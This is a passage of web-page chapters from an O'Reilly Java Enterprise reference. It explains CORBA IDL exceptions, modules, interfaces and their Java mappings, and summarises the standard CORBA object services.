INVALID_TRANSACTION | An invalid transaction was used.
MARSHAL | An error occurred while marshalling method arguments or results.
NO_IMPLEMENT | The implementation for the method is not available.
NO_MEMORY | Failed to allocate dynamic memory needed to execute the request.
NO_PERMISSION | Not allowed to execute the method.
NO_RESOURCES | There were insufficient resources for the request.
NO_RESPONSE | No response received for request.
OBJ_ADAPTER | The object adapter encountered an error.
OBJECT_NOT_EXIST | The referenced object does not exist on the server.
PERSIST_STORE | An error occurred while accessing persistent storage.
TRANSACTION_REQUIRED | An operation requiring a transaction was called without one.
TRANSACTION_ROLLEDBACK | A transactional operation didn't complete because its transaction was rolled back.
TRANSIENT | A transient error occurred, but the method can be tried again.
UNKNOWN | An error occurred that the ORB could not interpret.

10.8.2. Mapping Exceptions to Java

Standard exceptions are mapped to exception classes in org.omg.CORBA that extend the org.omg.CORBA.SystemException class. User-defined exceptions are mapped to public final Java classes that extend org.omg.CORBA.UserException, which is derived directly from java.lang.Exception. Otherwise, the exception is mapped to Java the same way as a struct, as described earlier. Each data member is mapped to a public data member of the corresponding type, and a set of constructors are defined for the exception class.

Previous | Home | Next
10.7. User-Defined Data Types | Book Index | 10.9. Module Declarations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Module Declarations (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

10.9. Module Declarations

A module is a name-scoping construct in IDL. It is similar to a package in Java, or LISP or a namespace in C++. A module is declared with the module keyword, followed by an identifier for the module, and then the body of the module, enclosed in braces:

// IDL
module identifier { ... };

Modules can contain IDL interface definitions, constants, or user-defined types such as typedefs, structs, unions, and enumerations.

10.9.1. Mapping Modules to Java

Modules in IDL are mapped to packages in Java, and nested modules are mapped to subpackages, with the innermost module being mapped to the rightmost subpackage. Consider the following interfaces and modules defined in IDL:

// IDL
module util{
    interface MatrixOps { . . . };

    module dbase {
        interface Query { . . . };
    };
};

The generated Java code includes an interface named MatrixOps, starting with this package statement:

// Java
package util;

and another interface named Query, with this package statement:

// Java
package util.dbase;
Previous | Home | Next
10.8. Exceptions | Book Index | 10.10. Interface Declarations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Interface Declarations (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

10.10. Interface Declarations

An IDL interface is just a collection of data attributes and methods that define the semantics of the interface. Declaring an interface is another way to create a new data type in IDL, but unlike structs and unions, an interface can have both data members and methods that can be called on objects of its type. An interface is also a name-scoping construct, similar to a module. You can declare an IDL interface and simply include a set of constants you want associated with that interface name. In this case, you have to specify the interface scope in order to refer to the constants from within other scopes.

An interface consists of the following elements:

// IDL
interface identifier [: inheritance-spec] {
    interface-body
};

The interface identifier can be any valid IDL identifier. The body of the interface can contain any of the following constructs:

  • A user-defined type (struct, union, typedef, enum)

  • A constant declaration

  • An interface-specific exception declaration

  • Data attributes

  • Methods or operations

We've already seen the syntax for the first three items in earlier sections of this IDL overview. They become part of an interface simply by being declared within the braces of the body of the interface. In the next few sections, we'll see how to define interface attributes and methods, and then we'll look at how inheritance of IDL interfaces works.

10.10.1. Attributes

Attributes are data members that belong to an interface. To readers familiar with JavaBeans, declaring an attribute on an interface is roughly analogous to adding a property to a JavaBeans component. An attribute in an IDL interface indicates that the interface provides some way to read and (in most cases) write the attribute value.

The syntax for declaring an attribute within an interface body is:

// IDL
[readonly] attribute type identifier [, identifier, ...];

The attribute is signified by the attribute keyword, followed by a type specification for the attribute and an identifier name. You can declare multiple attributes of the same type by providing their identifiers in a comma-delimited list after the type specifier:

// IDL
attribute short coord_x, coord_y, coord_z;

The type specifier can be any valid type, including IDL basic types, other interfaces, and user-defined types previously defined or declared in a typedef. For example:

// IDL
enum ErrorCode { BadValue, DimensionError, Overflow, Underflow };

interface AttrTest {
  struct coord {
    short x;
    short y;
  };
  attribute ErrorCode lastError;
  readonly attribute coord COG;
  attribute string name;
};

The optional readonly keyword can precede the attribute declaration. This indicates that the attribute can be read only externally and not directly written. This typically means that the value of this attribute is set only as a side effect of some other method(s). In our example, the COG attribute may represent the center-of-gravity of some geometric object, and we'll only want that to be recomputed as the result of other methods that change the geometry of the object.

10.10.2. Methods

>Methods (or operations, to use the IDL vernacular) provide a way for remote clients to interact with the objects defined by an interface. A method declaration in IDL is composed of an identifier for the method, the type of data returned by the method, and a list of parameters that the method accepts. An IDL method can also (optionally) be declared to use specific call semantics, to possibly raise certain exceptions during its execution, and to accept certain context variables from the client environment.

The syntax of a method declaration within an IDL interface is:

// IDL
[call-semantics] return-type identifier ([param, param, ...])
  [exception-clause] [context-clause];

The only required elements in a method declaration are the method identifier and the return type, so an example of the simplest form of method declaration is:

// IDL
boolean doSomething();

This method simply returns a boolean flag when it is complete. It doesn't accept any arguments, uses the default call semantics, raises no nonstandard exceptions, and accepts no context variables from the client environment.

The return type for an IDL method can be any valid type, including user-defined types such as structs and other interfaces. If a method doesn't return any data, the return type should be declared as void.

The identifier for a method is a valid IDL identifier. In IDL, two methods in the same interface cannot have the same identifier (i.e., there is no method overloading, as there is in C++ and Java).

10.10.2.1. Parameters

The parameters for a method on an interface are declared within the parentheses following the method identifier and are separated by commas. The syntax for an individual method parameter is:

arg-direction arg-type identifier

The identifier is any valid IDL identifier, and the parameter type is any valid IDL type, including user-defined types.

The direction specification indicates whether the parameter is passed into the server, returned from the server, or both. The direction specification can have one of three values: in, out, or inout. An parameter tagged as in is only passed from the client to the server object. An parameter tagged as out is not taken from the client, but its value is set by the server and returned if the method returns successfully. An inout parameter is passed in both directions; the data from the client is passed to the server, and the server may modify the data and have the updates returned back to the client if the method returns successfully.

Here's a modified method declaration for doSomething() that specifies some parameters:

boolean doSomething(in string whatToDo, inout string whatToDoItTo);

The first parameter tells the server object what to do, so it is input-only. The second parameter is the thing to be acted upon, so it is declared as inout to allow the modified object to be passed back to the client.

If a method raises an exception during its execution, the values of any out or inout parameters to the method are undefined. They may or may not have been modified by the method before the exception was raised, and execution was halted.

10.10.2.2. Exceptions

If a method on an interface can raise any exceptions during its execution, you have to declare this in IDL by adding a clause to the method declaration that lists all the exceptions that can be raised by the method. This is similar to the throws clause on Java methods. The syntax for the raises clause looks like:

// IDL
raises (exception-type, exception-type, ...)

Every exception you list in this clause has to be defined earlier in the IDL file.

Every method that you declare on an IDL interface can potentially throw one of the standard ORB exceptions we mentioned earlier (see Table 10-4). You cannot list these standard exceptions in the raises clause for your methods.

As an example, let's specify a BadDirective exception for our doSomething() method, which is raised if the client passes in a string directive the server object doesn't understand. We can modify the method declaration to look like the this:

// IDL
boolean doSomething(in string whatToDo, inout string whatToDoItTo)
    raises (BadDirective);

Again, we must have declared the BadDirective exception and any data it contains earlier in the IDL file.

10.10.2.3. Context values

IDL supports the concept of a client context, which can contain name/value pairs that describe the client's environment in some way. You might have an authenticated username stored in the client's context, for example. The name of a context value is a string, and its value is an Any object. The interface to the context is provided by the IDL Context interface, and a mapping of this interface must be provided in any language-specific binding of the CORBA standard.

You can add a context clause to your method declarations that indicates which client context variables should be propagated to the server when the method is invoked. The server object can then query these context variables during the execution of the method. The syntax for adding a context clause to your method declaration is:

// IDL
context (var-name, var-name, ...)

Each var-name is a string literal that names the context variable to be propagated to the server when the method is called.

Suppose that when we invoke our doSomething() method, we want to be able to log who is making the request. We can look for a username variable in the client context and assume it is the authenticated identity of the client. We can specify that this context variable should be included in the method call by adding a context clause to our method declaration:

// IDL
boolean doSomething(in string whatToDo, inout string whatToDoItTo)
    raises (BadDirective) context ("username");

A Java client might use this method like so:

// Java
// Get the context
Context ctx = ORB.get_default_context();

// Add a username to the context
Any username = new Any();
username.insert_string("JimF");
ctx.set_one_value("username", username);

// Call the remote method
obj.doSomething("anything", "entity");

Since we declared the doSomething() method to include the username context variable in its invocations, this variable appears in the server's context and can be queried during execution of the method.[5]

[5] Sun's implementation of the Java IDL binding (including its idltojava compiler) does not support context variables. The Context interface is available in the Java IDL API, but context clauses on IDL methods are not represented in the generated Java code, and no context data is transferred to the server.

You might wonder when this context feature should be used, as opposed to just adding a method argument to the method declaration. I could have just as easily added another string argument to my declaration for the doSomething() method:

boolean doSomething(in string whatToDo, inout string whatToDoItTo,
    in string username) raises BadDirective;

One argument for using context variables is to make things easier on the client when certain data for a method is optional. Rather than including an explicit argument and forcing the user to add a nil value of some kind to the method call (null in Java, for example), you can make the optional data a context variable, and the user can choose to set it or not. In most cases, though, you'll find that context variables are used rarely, if at all.

10.10.2.4. Call semantics

If you don't specify any call semantics at the start of your method declaration, the default semantics is "at-most-once." This means that if a method call returns with no exceptions, the method was called a single time on the server object. If an exception is raised, the method was called at most once (the exception occurred either before the method was invoked, or during execution of the method).

You can choose to use alternate call semantics for your method by including a call attribute at the start of your method declaration. In the current CORBA standard, only a single alternative, called "best-effort" semantics, is available. In this case, whether the method call returns successfully or not, there's no guarantee that the method was actually invoked on the server object. The difference between the default semantics and "best-effort" semantics is roughly equivalent to the difference between TCP and UDP IP network connections and their handling of data packets.

You specify best-effort call semantics by adding the keyword oneway to the start of your method declaration:

// IDL
oneway void tryToDoSomething(in whatToDo);

If you specify that a method is oneway, the return type of the method has to be void, and it can't have any out or inout arguments. The method is effectively called asynchronously, so the client can't synchronously receive return data from the server object.

10.10.3. Interface Inheritance

You can inherit attributes and methods from another IDL interface by deriving your interface from it. The syntax for declaring the inheritance of an interface in its header is:

interface identifier : parent-interface, parent-interface, ... {

The parent interfaces can be any pre-defined interfaces, in the same module as this interface or in different modules. If the parent interfaces are from other modules, you need to use the :: scope specifier to identify them.

10.10.3.1. Method and attribute inheritance

A derived interface inherits all the attributes and methods from its parent interfaces. Although IDL allows for multiple inheritance, it's illegal to have two inherited attributes or methods with the same identifier. You also can't declare an attribute or method within your interface with the same name as an inherited attribute or method (i.e., you cannot overload a method or attribute). Say you have two interfaces declared as follows:

// IDL
interface A {
    boolean f(int float x);
};

interface B {
    void f();
};

You cannot define a new interface that derives from both these interfaces, since the definition of the method f() would be ambiguous. Note that, unlike C++ and Java, IDL only uses the name for the method as its unique identifier, and not the entire method signature. This rule is a result of IDL's multilanguage support, since some languages may be similarly limited.

10.10.3.2. Constant, type, and exception inheritance

A derived interface also inherits any constants, user-defined types, and exceptions defined in its parent interfaces. They can be referred to in the derived interface as if they had been defined within the interface. For example, say we define the following base interface:

// IDL
interface Server {
    exception ServiceInterrupted {};
    boolean doSomething(in string what) raises (ServiceInterrupted);
};

We can use the ServiceInterrupted exception defined within the Server interface in another interface by naming its scope:

// IDL
interface PrintServer {
    boolean printSomething(in string what)
        raises (Server::ServiceInterrupted);
};

Alternately, we can derive the PrintServer from the Server interface, and then the exception can be used as if it existed in the PrintServer scope:

// IDL
interface PrintServer : Server {
  boolean printSomething(in string what) raises (ServiceInterrupted);
};

It is legal to define a constant, type, or exception in a derived interface that uses the same name as one of these things in its parent interface. If you do this, though, you need to refer to them unambiguously in your interface declaration, using fully scoped names if necessary. If you declare your own ServiceInterrupted exception in the PrintServer interface, for example, you need to provide a scope for the exception in the raises clause, in order for the IDL compiler to know which version you're referring to:

// IDL
interface PrintServer : Server {
    exception ServiceInterrupted { string printerName; };
    boolean printSomething(in string what)
        raises (PrintServer::ServiceInterrupted);

If you don't, the IDL compiler throws back an error about ServiceInterrupted being ambiguous.

10.10.3.3. IDL early binding

It's important to realize that IDL does early binding of constants, user-defined types, and exceptions as it compiles your IDL. This means that the definition of a constant, type, or exception is bound to a particular reference within an interface as it's encountered in your IDL file, not after all definitions have been examined. Consider the following IDL definitions:

// IDL
struct Coord {
    short x;
    short y;
};

interface GeometricObj {
    attribute Coord cog;
};

interface GeometricObj3D : GeometricObj {
    struct Coord {
        short x;
        short y;
        short z;
    };
    attribute Coord cog3D;
};

The cog attribute in the GeometricObj interface is off the global Coord type (with x and y members only), since at the time the cog attribute is encountered in the IDL file, this is the binding definition for Coord. The GeometricObj3D interface inherits this attribute with this type. However, the cog3D attribute declared in the GeometricObj3D interface is of the GeometricObj3D::Coord type (with x, y, and z members), since at that point, the Coord struct within the GeometricObj3D scope has been defined and is the default reference of the relative Coord type used in the cog3D declaration.

10.10.4. Mapping Interfaces to Java

As you might expect, each interface you define in IDL is mapped to a public interface in Java. Helper and holder class are also generated for each interface; the names of these interfaces are generated using the identifier of the IDL interface, with Helper and Holder appended to it.

The Java interface extends the org.omg.CORBA.Object interface. Any inheritance specification you provide in your IDL interface is mapped directly to interface inheritance in Java, using extends clauses. So our earlier GeometricObj3D example that inherits from GeometricObj is mapped into a Java interface that begins:

// Java
public interface GeometricObj3D
    extends org.omg.CORBA.Object, GeometricObj { ...

10.10.4.1. Helper and holder classes

The helper class generated for an interface includes a static narrow() method that allows you to safely cast a CORBA Object reference to a reference of the interface type. If the Object isn't of the expected type, an org.omg.CORBA.BAD_PARAM exception is thrown. The helper class also includes other static methods that let you read or write objects of the interface type over I/O streams and insert/extract an object of this type from an Any value.

The holder class is used whenever the interface is used as the type for an out or inout method parameter. The holder class is responsible for marshalling the contents of the object to the server object for the method call (for inout arguments), and then unmarshalling the (possibly updated) return value. The holder class has a constructor defined that lets you wrap the holder around an existing instance of the original interface, and it has a public value member that lets you access the object argument both before and after the method call.

See Chapter 4, "Java IDL" for more details on helper and holder classes.

10.10.4.2. Attributes

Each attribute you declare on the IDL interface is mapped to two accessor methods, with the same name as the attribute. So an attribute declared within an IDL interface as follows:

// IDL
attribute string name;

is mapped to these two methods on the corresponding Java interface:

// Java
String name();
void name(String n);

If you include the readonly tag in your IDL attribute declaration, the Java interface has only the read accessor method, not the update accessor.

10.10.4.3. Methods

Methods declared on your IDL interface are mapped one-to-one to methods on the Java interface. The return values and any in parameters are mapped directly to their corresponding types in Java. Any out or inout parameters in the IDL method are mapped to their holder classes in the Java method. This includes basic IDL types, which have their own holder classes defined for them in the standard Java mapping. So this IDL method:

// IDL
boolean setPrintServer(in PrintServer server,
    out PrintServer previousServer,
    out long requestsHandled);

is mapped to the following Java method on the corresponding interface:

// Java
boolean setPrintServer(PrintServer server,
    PrintServerHolder previousServer,
    IntHolder requestsHandled);

Note that the last argument is declared a long in IDL, which is mapped to int in Java, so the IntHolder class is used in the mapped Java method.

To use this method, we have to create holder objects for the output parameters, then check their values after the method call:

// Java
PrintServer newServer = . . .;
PrintServerHolder prevHolder = new PrintServerHolder();
IntHolder numReqHolder = new IntHolder();
xxx.setPrintServer(newServer, prevHolder, numReqHolder);
int numReq = numReqHolder.value;
PrintServer prevServer = prevHolder.value;

We don't need to initialize the contents of the holders, since they are being used for out parameters. If they were used for inout parameters, we'd either have to initialize their contents at construction time or set their value members directly.

If there is a raises clause on your IDL method declaration, it is mapped to an equivalent throws clause on the Java method. The context clause and call semantics (oneway) on an IDL method declaration affect only the implementation of the generated Java method, not its signature.

Previous | Home | Next
10.9. Module Declarations | Book Index | 11. CORBA Services Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CORBA Services Reference (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 11. CORBA Services Reference

Contents:

Naming Service
Security Service
Event Service
Persistent Object Service
Life Cycle Service
Concurrency Control Service
Externalization Service
Relationship Service
Transaction Service
Query Service
Licensing Service
Property Service
Time Service
Trading Service
Collection Service

The CORBA standard includes a rich set of object services. These services can be optionally offered by a CORBA provider as part of its CORBA-compliant environment. Most vendors include a Naming Service, since it is the principal means for finding CORBA objects. The other services, such as Security and Event Services, are not required by all users, so they are often provided as optional add-ons.

This quick reference for the CORBA services is just that: a quick reference, not a comprehensive one. While it is important for you to understand what the various CORBA services can offer, it is beyond the scope of this book to provide a complete reference for all 15 of them. I've provided a short overview of each service, along with a few of its particulars, such as its principal interfaces and other services that it depends upon. If any of the services seem like a viable solution for your needs in a CORBA environment, you can get full details on the specification for the services from the OMG (CORBA Services: Common Object Services Specification, published by the OMG and available at www.omg.org ).

Generally speaking, each of the CORBA services defines a standard, ordered, explicit way of doing something. You may be able to do this activity in another way using only the core CORBA interfaces, but whatever technique you use will be nonstandard, ad hoc, and implicit. As an example, you might construct a means whereby your object is automatically notified of a change in another, possibly remote, object, just using standard CORBA constructs. The Event Service provides a standardized set of interfaces for defining these notification channels, so that outside agents can participate as well. When you are deciding between developing a custom approach or using a CORBA service, you should consider the level at which you need to depend on this service, your need for interoperability with other agents in this area, and the costs involved.

11.1. Naming Service

The Naming Service is the most commonly used service in CORBA, since it provides the principal way for clients to find objects on the network. Remote object references can be bound to names within the Naming Service, and clients can access these object references over the network by asking for them by name from the Naming Service. There are more details on the Naming Service available in Chapter 4, Java IDL.

The principal interface in the Naming Service is the NamingContext. It represents a directory or subdirectory of named objects. This interface can bind, look up, and unbind objects and subcontexts within the naming directory. The names of objects within a NamingContext are composed of NameComponent arrays. Browsing through the contents of a NamingContext can be done with a BindingIterator.

Previous | Home | Next
10.10. Interface Declarations | Book Index | 11.2. Security Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.2. Security Service

The CORBA Security Service provides the tools you need to secure a distributed application. It supports the authentication of remote users of object services, access controls for key objects and services in the system, auditing functions, the ability to establish secure communications channels between clients and object services, and nonrepudiated events. Note that encryption functions (i.e., algorithms for encrypting data and generating digital signatures) are not included in the Security Service specification. The Security Service is a higher-level security framework that needs to use cryptography in its implementation, but this use is not spelled out in the specification. Implementors are free to use whatever lower-level cryptographic APIs suit their needs, as long as their use supports the higher-level specifications of the Security Service.

The Security Service framework layers security measures on top of the basic ORB object-to-object model defined in the core CORBA architecture. Security measures are taken on either end of a secure communication. Access control is defined down to the level of individual methods on objects, and access rights can be delegated by one authenticated object to another.

The PrincipleAuthenticator interface authenticates identities. A Credentials object is assigned to each user; it describes the user's security profile, including access rights, authenticated identities, etc. The Current object provides details about the security features in effect in the current execution context. There are also extensions to the org.omg.CORBA.Object interface, to support such actions as querying the Credentials of an Object.

Previous | Home | Next
11.1. Naming Service | Book Index | 11.3. Event Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Event Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.3. Event Service

The Event Service provides a flexible framework for asynchronous interaction between distributed objects. The asynchronous method invocation facility provided by the Dynamic Invocation Interface is a very basic form of the services the Event Service provides. These kinds of asynchronous communications can be useful in situations where notification, rather than interaction, is needed. You may want your client to be notified when data in a dynamically updated database is modified, for example. The Event Service provides a framework for setting up these communications channels.

Agents engaged in event services are distinguished as event consumers or event suppliers. In both cases, the agents can engage either in push or pull event communications. These four cases are represented by the PushConsumer, PullConsumer, PushSupplier, and PullSupplier interfaces. Event communications take place over EventChannel objects, to which consumers and suppliers of events are connected.

Previous | Home | Next
11.2. Security Service | Book Index | 11.4. Persistent Object Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Persistent Object Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.4. Persistent Object Service

This service provides a common framework for CORBA objects to interact with various underlying persistence engines (relational databases, object databases, etc.) for the purpose of either accessing the persistent state of other objects or storing their own state persistently. In a sense, the Persistent Object Service can be thought of as middleware between CORBA objects and database protocols being defined by the Object Data Management Group (ODMG).

Persistence can be managed at either the object level or the data-member level. Typically, an object is allowed to control its own persistent state, but, if necessary, a client of an object can control particular elements of the object's persistent state.

The definers of the Persistent Object Service seemed to have a penchant for acronyms. A persistent object is represented by the PO interface. Each PO has a PID, which is a unique identifier for its persistent data. Methods on a PO allow you to load and store its state to persistent storage. Internally, a PO uses the persistent object manager interface, POM. Interfaces to specific data storage services are provided by persistent data services, represented as PDS objects.

The Persistent Object Service service depends on both the Externalization Service, for converting objects into a format suitable for persistent storage media, and the Life Cycle Service, for creating, moving, and deleting objects.

Previous | Home | Next
11.3. Event Service | Book Index | 11.5. Life Cycle Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Life Cycle Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.5. Life Cycle Service

This service defines a standard protocol by which clients of distributed objects can cause the creation, copying, movement, and deletion of remote objects. The service is defined around the concept of object factories, which are responsible for creating objects of specific types.

All objects participating in the Life Cycle Service implement the LifeCycleObject interface. There is no specific interface defined for object factories, but they can be located using the FactoryFinder interface.

Some of the interfaces in this service reference Naming Service interfaces. Also, when dealing with connected graphs of objects, the Relationship Service structures are referenced.

Previous | Home | Next
11.4. Persistent Object Service | Book Index | 11.6. Concurrency Control Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Concurrency Control Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.6. Concurrency Control Service

The Concurrency Control Service defines a framework for managing concurrent access to remote objects from multiple clients. It is analogous to the multithreading support present in some programming languages, such as C++ and Java, but in a distributed context. The Concurrency Control Service provides facilities for interfacing with the Transaction Service to allow transactional clients to participate in concurrent access to resources from within transaction contexts.

The Concurrency Control Service uses a model based on locks that are acquired by clients for defined resources. Locks can be of different types (read, write, etc.), and different locking models can be specified, such as multiple-possession, two-phase locks, etc. Clients that attempt to acquire a lock on a resource and are refused because of conflicts with existing locks are queued on a first-come, first-serve basis.

Resources are implicitly represented by the LockSet interface, which request and relinquish locks on resources. The TransactionalLockSet is an equivalent interface for transactional clients. Lock sets are created using the LockSetFactory interface.

The transaction-related interfaces in this service depend on Transaction Service interfaces.

Previous | Home | Next
11.5. Life Cycle Service | Book Index | 11.7. Externalization Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Externalization Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.7. Externalization Service

This service defines the means for converting objects into a form suitable for export over general media, such as network streams or disk storage, and then re-constituting this data back into object references, potentially in a different ORB and/or process. The service allows for pluggable data formats for externalized objects, but a standard serialized format for objects is provided, to ensure that a baseline protocol can be shared among users of the service.

The Externalization Service uses a Stream object for externalizing and internalizing objects. A StreamFactory creates Stream objects. Specific sources or destinations for streams can be supported by subclasses of the StreamFactory (e.g., FileStreamFactory). Objects that are to be externalized must extend the Streamable interface.

This service uses the Life Cycle Service to create and destroy Stream and StreamFactory objects. The Relationship Service manages the externalization of graphs of related objects.

Previous | Home | Next
11.6. Concurrency Control Service | Book Index | 11.8. Relationship Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Relationship Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.8. Relationship Service

This service allows for the explicit definition of relationships among objects. Relationships are defined in terms of type, roles within the relationship, and the cardinality of each role. An object fulfills a role when it participates in a relationship. You can define an agent/proxy relationship, for example, in which a single object fulfills the agent role and multiple objects serve as proxies for that agent.

The Relationship and Role interfaces are at the heart of the service. RelationshipFactory and RoleFactory objects create Relationship and Role objects, respectively. A RelationshipIterator can iterate through the relationships a given object plays roles in. In addition to these generic relationship interfaces, the service also provides several specific relationship types, in their own modules. Object graphs can be created using the interfaces in the CosGraphs module, containment relationships can be created using the CosContainment module, and reference relationships are defined using the CosReference module.

Previous | Home | Next
11.7. Externalization Service | Book Index | 11.9. Transaction Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Transaction Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.9. Transaction Service

Transactions are best defined using the tried-and-true ACID characteristics, which are familiar to database researchers. ACID refers to units of work that are:

Atomic

Any and all actions carried out as part of the transaction are committed when the transaction is committed or undone/cancelled if the transaction is cancelled (rolled back).

Consistent

The actions within a transaction produce results that are consistent.

Isolated

Transactions do not see each other's effects until they are committed. If a transaction is rolled back, its effects are not seen by other contexts.

Durable

If a transaction completes successfully, its effects are made permanent.

The Transaction Service defines interfaces that allow distributed objects to create and engage in transactional interactions. A transactional interaction can involve a series of remote method calls. If a significant error is encountered along the way, the transaction can be rolled back, and the effects of all previous method calls are undone, as if the transaction never started in the first place. When a transactional client starts a transaction and then makes remote method calls, its transaction context is propagated along with the requests. Only transactional objects (i.e., objects whose internal actions and side effects should be undone by a rollback of the transaction and who participate in the Transaction Service protocol) heed the transaction context information.

An important item to note about the Transaction Service, and about transaction APIs in general, is that they principally provide a framework for the notification and management of transaction boundaries, but no facilities to ease the rollback of transactions. The application objects still need to do the hard work of undoing any work that was done during a transaction if it gets rolled back. In other words, the Transaction Service tells you when to do it, but not how.

Transactions are usually managed using the Current interface, which starts and ends transactions. Transactions can be directly manipulated using the Control interface, which contains a Terminator that ends the transaction with either a commit or rollback, and a Coordinator that checks for relationships between transactions. Resource objects can be registered as participating in transactions, which allows them to be notified of transaction boundaries (commit, rollback).

The Transaction Service depends on both the Concurrency Control Service, for its locking services, and the Persistent Object Service, to support the durability (persistence) of transaction effects on objects.

Previous | Home | Next
11.8. Relationship Service | Book Index | 11.10. Query Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Query Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.10. Query Service

The Query Service provides a general object query mechanism for distributed objects. With this service, collections of objects can be searched to generate subcollections, or subsets of objects within a collection can be deleted or updated through a query. The facilities defined in the Query Service can be mapped to, but are not limited to, persistent storage facilities, such as relational or object databases.

Collections of objects are represented by Collection objects, which are created using a CollectionFactory. You iterate through a Collection of objects using an Iterator. QueryEvaluator objects issue a Query against a given Collection. The result of evaluating a Query can be of any type, but typically it is a Collection of some kind. A QueryManager is a type of QueryEvaluator that allows you to create queries.

Previous | Home | Next
11.9. Transaction Service | Book Index | 11.11. Licensing Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Licensing Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.11. Licensing Service

The Licensing Service is a protocol for controlled access to objects and services under a licensing model. Conceptually, you can think of it as an extension of the Security Service, with some additional access semantics having to do with consumable and expirable access. A license gives a user certain limited rights to use a particular remote object or set of objects.

In the License Service model, a client makes a request for a licensed service from a service provider, giving the provider some proof of ownership of a license. The provider then turns to a license manager to acquire a license service, which it uses to verify the existence of a license and check its policy against the proposed usage. The producer can then ask to be notified of license expiration during its use, or it can poll the license service for changes in the license state.

The LicenseServiceManager provides access to license services specific to certain producers. The ProducerSpecificLicenseService provides a producer with the methods needed to check on license validity, and start and end license usage sessions.

The License Service depends on the Security Service for license verification and secure communications and on the Event Service for asynchonous notification of license events to producers. Some implementations may also use the Relationship, Property, and Query Services.

Previous | Home | Next
11.10. Query Service | Book Index | 11.12. Property Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Property Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.12. Property Service

This service defines name/value pairs that can be assigned to objects, without being explicitly defined or required by their IDL interfaces. Properties can represent any application-specific attributes that can tag objects for various purposes.

The Property Service provides interfaces for defining, initializing, and iterating through sets of properties, but it does not specify how properties are associated with objects, as this is an implementation detail.

A set of properties is represented by the PropertySet interface, which allows you to create, modify, or delete properties in the set. A property is represented as a string name and an Any value. A subclass of PropertySet, PropertySetDef, allows you to query for metadata about the properties (e.g., whether each is read/write or read-only). A PropertiesIterator can be used to iterate through the contents of a set, and a PropertySetFactory allows you to create new PropertySet objects.

Previous | Home | Next
11.11. Licensing Service | Book Index | 11.13. Time Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Time Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.13. Time Service

This service gives programs the ability to acquire an accurate value for the current time and an estimate of the error of the value provided. The Time Service uses a Universal Time Coordinated time representation to report time values. This representation uses time intervals of 100 nanoseconds, starting on midnight, October 15, 1582. The time reported is always relative to the Greenwich Mean Time (GMT).

The Time Service also provides facilities for generating time-based events, using timers and alarms, and for the ordering and linear positioning of events in time.

An implementation of the Time Service is responsible for communicating with an accurate time source, such as a Cesium clock or radio time broadcasts, for determining its time and error estimates.

Time is reported from a TimeService object in the form of UTO objects, which stand for universal time objects. Time intervals are given in the form of TIO objects, or time interval objects. A timer event is represented by a TimerEventT structure that includes the time the event triggered and any data that was specified to be delivered with the event. A timer event is indirectly created through the TimerEventService by registering a consumer for the event, which returns a TimerEventHandler object that can set the trigger time for the event, set the data to be delivered with the event, or cancel the event.

The timer event portion of the Time Service depends on an Event Service being available.

Previous | Home | Next
11.12. Property Service | Book Index | 11.14. Trading Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Trading Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.14. Trading Service

This service is analogous to a market-trading context, in which agents make buy offers for items they want (bids) and sell offers for items that they have (asks), and the trading system is responsible for matching the bids and asks to execute trades. In the Trading Service, objects describe the services that they can offer to the system, and clients issue a description of the desired properties of an object. The Trading Service then matches object services with clients seeking these services.

Buyers, or importers, of services use a Lookup interface to advertise their needs, while sellers, or exporters, of services use a Register interface to advertise the properties of their services. If an importer receives multiple hits on a query issued through the Lookup interface, it is given an OfferIterator to iterate through the offers for any that it wants to accept. An Admin interface queries for all outstanding offers and queries and controls parameters related to how the two are matched.

Previous | Home | Next
11.13. Time Service | Book Index | 11.15. Collection Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Collection Service (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

11.15. Collection Service

The Collection Service supports the grouping of objects into various types of collections, such as sets, queues, and sequences. The service also includes representations for iterators of these collections and for operations to be performed to elements of a collection.

The Collection interface is the root of a large family of subclasses that define specific types of collections, such as Set, Heap, Stack, Queue, SortedSet, etc. There are also factory classes for these that allow you to create collections of each type. Similarly, the Iterator interface is the root of the hierarchy of iterator types, such as EqualityIterator and SequentialIterator. The Operations interface is provided as a base class for any operation a user may perform on a collection.

